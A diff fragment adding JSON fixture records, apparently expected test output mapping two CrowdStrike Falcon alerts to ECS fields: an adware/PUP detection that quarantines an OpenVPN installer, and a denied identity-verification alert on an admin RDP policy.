+                    "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993",
+                    "type": "ldt",
+                    "updated_timestamp": "2023-11-03T19:00:23.985Z",
+                    "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                    "user_name": "mohit.jha"
+                }
+            },
+            "device": {
+                "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+                "manufacturer": "LENOVO",
+                "model": {
+                    "name": "20VE"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "category": [
+                    "process"
+                ],
+                "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                "kind": "alert",
+                "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!\",\"KZd)iK2;s\\\\ckQl_P*d=Mo?^a7/JKc\\\\*L48169!7I5;0\\\\<H^hNG\\\"ZQ3#U3\\\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\\\"Ql@Q!!!$!rr\",\"N6=Ks_B9Bncmur)?\\\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\\\:#mb;BM\\\\L[g!\\\\F*M!!*'!\",\"N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\\\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N\",\"N6B%s!\\\\k)ed$F6>a%iM\\\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\\\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\\\"b&m!<<'\",\"N6CU&`%VT\\\"d$=67=h\\\\I)/BJH:8-lS!.%\\\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\\\"59K'R?_=`'`rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\\\"<_/?I'[##WMh'H[Rcl+!!<<'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\\\"d.&=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"has_script_or_module_ioc\":\"true\",\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"ioc_values\":[],\"is_synthetic_quarantine_disposition\":true,\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"overwatch_note\":\"Activity Notice: OverWatch has observed XYZ\",\"overwatch_note_timestamp\":\"2025-03-01T15:31:00Z\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"rule_group_id\":\"1b27b7f123c44e15a13fe7f44801d123\",\"rule_group_name\":\"Windows Group\",\"rule_instance_created_by\":\"myuser@mydomain.com\",\"rule_instance_id\":\"123\",\"rule_instance_name\":\"INSTANCE-1\",\"rule_instance_version\":\"1\",\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}",
+                "severity": 21,
+                "type": [
+                    "start"
+                ]
+            },
+            "file": {
+                "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe"
+            },
+            "host": {
+                "domain": "ABC.LOCAL",
+                "hostname": "ABC709-1175",
+                "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "mac": [
+                    "AB-21-48-61-05-B2"
+                ],
+                "os": {
+                    "full": "Windows11",
+                    "platform": "Windows",
+                    "type": "windows"
+                }
+            },
+            "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
+            "process": {
+                "end": "2023-11-03T18:00:21.000Z",
+                "entity_id": "399748687993",
+                "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                "hash": {
+                    "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
+                },
+                "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                "parent": {
+                    "command_line": "C:\\WINDOWS\\Explorer.EXE",
+                    "entity_id": "392736520876",
+                    "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
+                    "hash": {
+                        "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
+                        "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4"
+                    },
+                    "name": "explorer.exe",
+                    "pid": 392736520876
+                },
+                "pid": 399748687993,
+                "start": "2023-11-03T18:00:13.000Z",
+                "user": {
+                    "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                    "name": "mohit.jha"
+                }
+            },
+            "related": {
+                "hash": [
+                    "b07f77fd3f9828b2c9d61f8a36609741",
+                    "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
+                    "cdf9cfebb400ce89d5b6032bfcdc693b",
+                    "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "8cc3fcdd7d52d2d5221303c213e044ae",
+                    "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
+                    "0000000000000000000000000000000000000000"
+                ],
+                "hosts": [
+                    "ABC.LOCAL",
+                    "ABC709-1175"
+                ],
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "user": [
+                    "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
+                    "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                    "yuvraj.mahajan",
+                    "mohit.jha"
+                ]
+            },
+            "tags": [
+                "preserve_original_event",
+                "preserve_duplicate_custom_fields"
+            ],
+            "threat": {
+                "framework": "CrowdStrike Falcon Detections Framework",
+                "tactic": {
+                    "id": [
+                        "CSTA0004"
+                    ],
+                    "name": [
+                        "MachineLearning"
+                    ]
+                },
+                "technique": {
+                    "id": [
+                        "CST0000"
+                    ],
+                    "name": [
+                        "Adware/PUP"
+                    ]
+                }
+            },
+            "user": {
+                "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                "name": "mohit.jha"
+            }
+        },
+        {
+            "@timestamp": "2024-08-19T18:44:01.100Z",
+            "cloud": {
+                "account": {
+                    "id": "65ddx-c454-45f9-9034-Fdf34353"
+                }
+            },
+            "crowdstrike": {
+                "alert": {
+                    "active_directory_authentication_method": 5,
+                    "activity": {
+                        "browser": "Edge 126.0.0",
+                        "device": "LAPTOP-AP7299QV",
+                        "id": "2A8A7C96-0F17-412C-8105-94542784E00D",
+                        "os": "Windows"
+                    },
+                    "agent_id": "38293534662e48c99f33c61631b3536d",
+                    "aggregate_id": "aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9",
+                    "alert_attributes": 0,
+                    "cid": "4446934rf3fdb64ec3056ddfb96e",
+                    "composite_id": "874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9",
+                    "confidence": 80,
+                    "context_timestamp": "2024-08-16T18:43:44.242Z",
+                    "crawled_timestamp": "2024-08-16T18:49:02.798Z",
+                    "created_timestamp": "2024-08-16T18:45:02.987Z",
+                    "data_domains": [
+                        "Identity"
+                    ],
+                    "description": "A user denied a policy identity verification request",
+                    "display_name": "Identity verification denied",
+                    "end_time": "2024-08-16T18:43:44.242Z",
+                    "falcon_host_link": "https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a",
+                    "id": "ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9",
+                    "idp_policy": {
+                        "mfa_factor_type": 32769,
+                        "mfa_provider": 14,
+                        "rule_id": "1B82F2DE-2A08-49E0-8F85-AD46996F9A65",
+                        "rule_name": "admin - RDP Access to TIER-0 Servers"
+                    },
+                    "ldap_search_query_attack": 16,
+                    "location_country_code": "US",
+                    "location_latitude_as_int": 340726,
+                    "location_longitude_as_int": -1182610,
+                    "model_anomaly_indicators": [
+                        "ACCOUNT_IMPOSSIBLE_VELOCITY",
+                        "ENVIRONMENT_UNUSUAL_IP",
+                        "ENVIRONMENT_UNUSUAL_ISP_DOMAIN",
+                        "ISP_DATACENTER_CLASSIFICATION"
+                    ],
+                    "name": "IdpPolicyIdentityVerificationDenied",
+                    "objective": "Gain Access",
+                    "pattern_id": "51143",
+                    "poly_id": "AAB3RpTC74xD_bZOwwVt37ltWwicqVJrn1DHb_UVfrn1QAAATiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==",
+                    "product": "idp",
+                    "protocol_anomaly_classification": 1,
+                    "scenario": "suspicious_activity",
+                    "seconds_to_resolved": 0,
+                    "seconds_to_triaged": 0,
+                    "severity": 79,
+                    "severity_name": "High",
+                    "show_in_ui": true,
+                    "source": {
+                        "account_azure_id": "65ddx-c454-45f9-9034-Fdf34353",
+                        "account_domain": "NET.example.com",
+                        "account_name": "admin.example",
+                        "account_object_guid": "9F2CE16C-4A78-42E6-8565-87147707EE79",
+                        "account_object_sid": "S-14-5424-21-dfaf3-234343-3434-1567733",
+                        "account_sam_account_name": "admin.abcdef",
+                        "account_upn": "admin.abcdef@example.com",
+                        "endpoint_account_object_guid": "E436B3F0-078C-4629-9437-D3E3169147C0",
+                        "endpoint_account_object_sid": "S-1-5-21-111111111-2222222-1417001333-101158",
+                        "endpoint_address_ip4": "81.2.69.144",
+                        "endpoint_host_name": "ABDC454.net.example.com",
+                        "endpoint_ip_address": "81.2.69.144",
+                        "endpoint_ip_reputation": 128,
+                        "endpoint_sensor_id": "38293534662e48c99f33c61631b3536d",
+                        "ip_isp_classification": 9,
+                        "ip_isp_domain": "sioru.com"
+                    },
+                    "source_products": [
+                        "Falcon Identity Protection"
+                    ],
+                    "source_vendors": [
+                        "CrowdStrike"
+                    ],
+                    "start_time": "2024-08-19T18:43:44.242Z",
+                    "status": "new",
+                    "tactic": "Credential Access",
+                    "tactic_id": "TA0006",
+                    "tags": [
+                        "falcon_complete"
+                    ],
+                    "target": {
+                        "account_name": "HFJFJFFFFFFF$",
+                        "domain_controller_host_name": "APINTAL19DC01",
+                        "domain_controller_object_guid": "45A24DB7-6CD3-48C5-974F-A97159E7E2B2",
+                        "domain_controller_object_sid": "S-1-5-21-111111111-2222222-1417001333-85512",
+                        "endpoint_account_object_guid": "AAAAAAAA-0000-FFFFF-000000-A302EFCC8E6E",
+                        "endpoint_account_object_sid": "S-1-5-21-746137067-1844237615-1801674531-298236",
+                        "endpoint_host_name": "GH787.net.example.com",
+                        "endpoint_sensor_id": "ac89a368e77a4fa5837b53c7f11fc9e7",
+                        "service_access_identifier": "HOST/admin.example.com"
+                    },
+                    "technique": "Brute Force",
+                    "technique_id": "T1110",
+                    "timestamp": "2024-08-19T18:44:01.100Z",
+                    "type": "idp-user-endpoint-app-info",
+                    "updated_timestamp": "2024-08-19T18:49:02.798Z",
+                    "user_name": "admin.abcdef"
+                }
+            },
+            "destination": {
+                "domain": "GH787.net.example.com",
+                "user": {
+                    "domain": "APINTAL19DC01",
+                    "name": "HFJFJFFFFFFF$"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "end": "2024-08-16T18:43:44.242Z",
+                "id": "ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9",
+                "kind": "alert",
+                "original": "{\"agent_id\":\"38293534662e48c99f33c61631b3536d\",\"aggregate_id\":\"aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9\",\"cid\":\"4446934rf3fdb64ec3056ddfb96e\",\"composite_id\":\"874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9\",\"confidence\":80,\"context_timestamp\":\"2024-08-16T18:43:44.242Z\",\"crawled_timestamp\":\"2024-08-16T18:49:02.798354466Z\",\"created_timestamp\":\"2024-08-16T18:45:02.987127397Z\",\"data_domains\":[\"Identity\"],\"description\":\"A user denied a policy identity verification request\",\"display_name\":\"Identity verification denied\",\"end_time\":\"2024-08-16T18:43:44.242Z\",\"falcon_host_link\":\"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a\",\"id\":\"ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9\",\"idp_policy_mfa_factor_type\":\"32769\",\"idp_policy_mfa_provider\":\"14\",\"idp_policy_rule_id\":\"1B82F2DE-2A08-49E0-8F85-AD46996F9A65\",\"idp_policy_rule_name\":\"admin - RDP Access to TIER-0 Servers\",\"name\":\"IdpPolicyIdentityVerificationDenied\",\"objective\":\"Gain Access\",\"pattern_id\":51143,\"poly_id\":\"AAB3RpTC74xD_bZOwwVt37ltWwicqVJrn1DHb_UVfrn1QAAATiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==\",\"product\":\"idp\",\"scenario\":\"suspicious_activity\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"severity\":79,\"severity_name\":\"High\",\"show_in_ui\":true,\"source_account_azure_id\":\"65ddx-c454-45f9-9034-Fdf34353\",\"source_account_domain\":\"NET.example.com\",\"source_account_name\":\"admin.example\",\"source_account_object_sid\":\"S-14-5424-21-dfaf3-234343-3434-1567733\",\"source_account_sam_account_name\":\"admin.abcdef\",\"source_account_upn\":\"admin.abcdef@example.com\",\"source_endpoint_account_object_guid\":\"E436B3F0-078C-4629-9437-D3E3169147C0\",\"source_endpoint_address_ip4\":\"81.2.69.144\",\"source_endpoint_host_name\":\"ABDC454.net.example.com\",\"source_endpoint_ip_address\":\"81.2.69.144\",\"source_endpoint_sensor_id\":\"38293534662e48c99f33c61631b3536d\",\"source_products\":[\"Falcon Identity Protection\"],\"source_vendors\":[\"CrowdStrike\"],\"start_time\":\"2024-08-19T18:43:44.242Z\",\"status\":\"new\",\"tactic\":\"Credential Access\",\"tactic_id\":\"TA0006\",\"technique\":\"Brute Force\",\"technique_id\":\"T1110\",\"tags\":[\"falcon_complete\"],\"target_account_name\":\"HFJFJFFFFFFF$\",\"target_endpoint_account_object_guid\":\"AAAAAAAA-0000-FFFFF-000000-A302EFCC8E6E\",\"target_endpoint_account_object_sid\":\"S-1-5-21-746137067-1844237615-1801674531-298236\",\"target_endpoint_host_name\":\"GH787.net.example.com\",\"target_endpoint_sensor_id\":\"ac89a368e77a4fa5837b53c7f11fc9e7\",\"timestamp\":\"2024-08-19T18:44:01.1Z\",\"type\":\"idp-user-endpoint-app-info\",\"updated_timestamp\":\"2024-08-19T18:49:02.798344752Z\",\"user_name\":\"admin.abcdef\",\"activity_browser\":\"Edge 126.0.0\",\"activity_device\":\"LAPTOP-AP7299QV\",\"activity_os\":\"Windows\",\"active_directory_authentication_method\":\"5\",\"activity_id\":\"2A8A7C96-0F17-412C-8105-94542784E00D\",\"alert_attributes\":\"0\",\"location_country_code\":\"US\",\"location_latitude_as_int\":340726,\"location_longitude_as_int\":-1182610,\"model_anomaly_indicators\":[\"ACCOUNT_IMPOSSIBLE_VELOCITY\",\"ENVIRONMENT_UNUSUAL_IP\",\"ENVIRONMENT_UNUSUAL_ISP_DOMAIN\",\"ISP_DATACENTER_CLASSIFICATION\"],\"ldap_search_query_attack\":\"16\",\"protocol_anomaly_classification\":\"1\",\"source_account_object_guid\":\"9F2CE16C-4A78-42E6-8565-87147707EE79\",\"source_endpoint_account_object_sid\":\"S-1-5-21-111111111-2222222-1417001333-101158\",\"source_endpoint_ip_reputation\":\"128\",\"source_ip_isp_classification\":\"9\",\"source_ip_isp_domain\":\"sioru.com\",\"target_domain_controller_host_name\":\"APINTAL19DC01\",\"target_domain_controller_object_guid\":\"45A24DB7-6CD3-48C5-974F-A97159E7E2B2\",\"target_domain_controller_object_sid\":\"S-1-5-21-111111111-2222222-1417001333-85512\",\"target_service_access_identifier\":\"HOST/admin.example.com\"}",
+                "severity": 73,
+                "start": "2024-08-19T18:43:44.242Z"
+            },
+            "host": {
+                "id": "38293534662e48c99f33c61631b3536d"
+            },
+            "message": "A user denied a policy identity verification request",
+            "observer": {
+                "geo": {
+                    "country_iso_code": "US",
+                    "location": {
+                        "lat": 340726,
+                        "lon": -1182610
+                    }
+                }
+            },
+            "related": {
+                "hosts": [
+                    "NET.example.com",
+                    "ABDC454.net.example.com",
+                    "GH787.net.example.com",
+                    "APINTAL19DC01"
+                ],
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "user": [
+                    "admin.example",
+                    "admin.abcdef@example.com",
+                    "HFJFJFFFFFFF$",
+                    "admin.abcdef"
+                ]
+            },
+            "rule": {
+                "id": "1B82F2DE-2A08-49E0-8F85-AD46996F9A65",
+                "name": "admin - RDP Access to TIER-0 Servers"
+            },
+            "source": {
+                "domain": "ABDC454.net.example.com",
